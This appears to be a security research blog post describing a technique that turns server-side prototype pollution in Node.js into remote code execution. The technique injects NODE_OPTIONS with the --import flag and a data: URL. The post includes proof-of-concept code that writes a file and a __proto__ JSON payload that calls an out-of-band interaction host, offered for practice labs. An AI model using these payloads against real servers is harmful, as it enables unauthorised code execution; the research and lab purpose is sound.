Published: 23 March 2023 at 15:00 UTC
Updated: 23 March 2023 at 15:00 UTC
In this post, we'll introduce a new exploitation technique for Server-Side Prototype Pollution.
If you've detected SSPP (maybe using one of our black-box techniques), the next step towards RCE is to find a sink such as fork()
. Fork is typically exploited by using the --require
command line flag using the filesystem or environment variables but what if you can't do that? We'll show you how to use a new command line flag in Node to execute arbitrary code all without requiring a local file.
From Node 19.0.0 the --import
flag allows you to specify a module to load. I found this when designing some Academy labs, I discovered it was possible to use the --import
command line option to execute arbitrary JavaScript without needing anything on the filesystem! Michał Bentkowski first discovered this with client-side JavaScript using the function-like import()
in Chrome using the data: protocol but this can also be applied to the Node command line flag too. The attack works like this:
--import='data:text/javascript,console.log(1337)'
At the time of testing this is also allowed in NODE_OPTIONS. We reported this to the Node developers and after careful consideration they decided that it was "not an entrypoint security issue" and therefore didn't violate their threat model.
To execute arbitrary code and gain access to the filesystem or system based commands you have to use Node modules using imports. Here is a demonstration on how to use this technique:
let{fork} = require('child_process');
Object.prototype.NODE_OPTIONS = "--import=\"data:text/javascript,import fs from 'node:fs';fs.writeFile('/tmp/pwnd', 'pwnd', x=>1)\"";
fork("test2.js");
The above code uses the --import
command line flag to load a data URL which uses import to load the Node filesystem module and simply writes a file to /tmp/pwnd with "pwnd" as the contents.
We've upgraded Node on our Academy labs so you can try out this technique. The best lab to use is "Remote code execution via server-side prototype pollution" since this uses fork()
. Using the following code should create a DNS interaction when the --import
flag is used. Can you modify the payload to solve the lab?
"__proto__":{
"NODE_OPTIONS": "--import=\"data:text/javascript,import dns from 'node:dns';dns.lookup('YOUR_COLLABORATOR_ID.oastify.com', x=>1)\""
}